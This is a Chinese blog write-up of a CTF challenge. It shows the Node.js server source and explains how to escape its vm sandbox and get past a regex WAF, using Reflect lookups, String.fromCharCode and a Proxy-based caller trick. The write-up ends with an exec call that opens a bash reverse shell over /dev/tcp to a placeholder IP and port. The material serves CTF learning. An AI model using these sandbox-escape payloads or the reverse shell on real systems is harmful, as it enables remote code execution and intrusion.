nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

全世界最简单的CTF

全世界最简单的CTF

这次比赛没有做出来,看了wp,感觉差一点东西,也学到了一些绕过waf的方法

这次主要是没有回显这个问题

首先读取到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
 
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
 
app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})
 
 
function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}
 
app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})
 
app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})
 
 
app.listen(3000, ()=>{
    console.log("listen on 3000");
})

很明显的vm沙盒逃逸问题

如果没有任何过滤的payload的话应该是这样

throw new Proxy({}, {
     get: function(){
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor('return process'))();
         return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})

但是题目过滤了很多东西,我们分别来思考怎么绕过

因为题目没有/i,所以对大小写不敏感

我们的process可以等价于

const pro='Process'.toLowerCase();
console.log(pro)//打印process

或者String.fromCharCode绕过

const pro=String.fromCharCode(32, 112, 114, 111, 99, 101, 115, 115)
console.log(pro)//输出process

我们绕过了process,还需要绕过exec

它就不能够这样绕过了,因为它是方法,不是字符,不能当作字符处理

我们通过反射来绕过,就是根据你提供的对象的键获取到对应的值

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

这样就可以获得eval方法

我们来实现一下

第一步是要获得global这个模块,原来是获取process模块,但是如果我获取到了global,那什么都好获取了

get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            }

然后就要获取我们的process模块,并且引用child_process

const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
child_process
const a = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')));
const b=process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
console.log(a)//获取到process
console.log(b)//获取到child_process

任何就是获取exec并执行命令

return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");

获取a对象的exec这个对象去执行后面的命令

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 全世界最简单的CTF

评论